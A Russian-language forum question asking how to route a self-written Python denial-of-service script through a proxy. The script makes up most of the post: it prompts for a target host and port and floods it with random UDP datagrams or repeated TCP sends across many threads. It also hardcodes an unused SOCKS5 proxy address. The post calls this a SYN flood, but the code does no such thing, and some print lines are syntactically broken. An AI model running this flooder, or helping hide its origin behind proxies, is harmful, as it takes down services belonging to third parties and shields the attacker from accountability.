Как реализовать прокси-сервер для этого скрипта?

#python #proxy #denial-of-service

Вопрос:

Недавно я создал скрипт на Python, в основном для углубления моего понимания атак типа «отказ в обслуживании» с использованием метода Syn flood. Сценарий работает нормально, я просто хочу знать, как добавить прокси-сервер, чтобы я тоже мог протестировать эти эффекты, я просто чувствую себя более комфортно, тестируя свой собственный код, поэтому я бы предпочел пока не использовать другие продвинутые инструменты.

  #!/usr/bin/env python3
#Code by Vexploit
import random
import socket
import threading

proxy = {
   "SOCKS5": "43.132.178.143:1080" #Proxy Server
}


print("--> Welcome to Vexploit's DOS Blade! <--")
print("#-- TCP/UDP FLOOD --#")
ip = str(input(" Host/Ip: "))
port = int(input(" Port: "))
choice = str(input(" UDP(y/n): "))
times = int(input(" Packets per one connection: "))
threads = int(input(" Threads: "))
def run():
    data = random._urandom(1024)
    i = random.choice(("[*]","[!]","[#]"))
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            addr = (str(ip),int(port))
            for x in range(times):
                s.sendto(data,addr)
            print(i  " Sent!!!")
        except:
            print("[!] Error!!!")

def run2():
    data = random._urandom(16)
    i = random.choice(("[*]","[!]","[#]"))
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip,port))
            s.send(data)
            for x in range(times):
                s.send(data)
            print(i  " Sent!!!")
        except:
            s.close()
            print("[*] Error")

for y in range(threads):
    if choice == 'y':
        th = threading.Thread(target = run)
        th.start()
    else:
        th = threading.Thread(target = run2)
        th.start()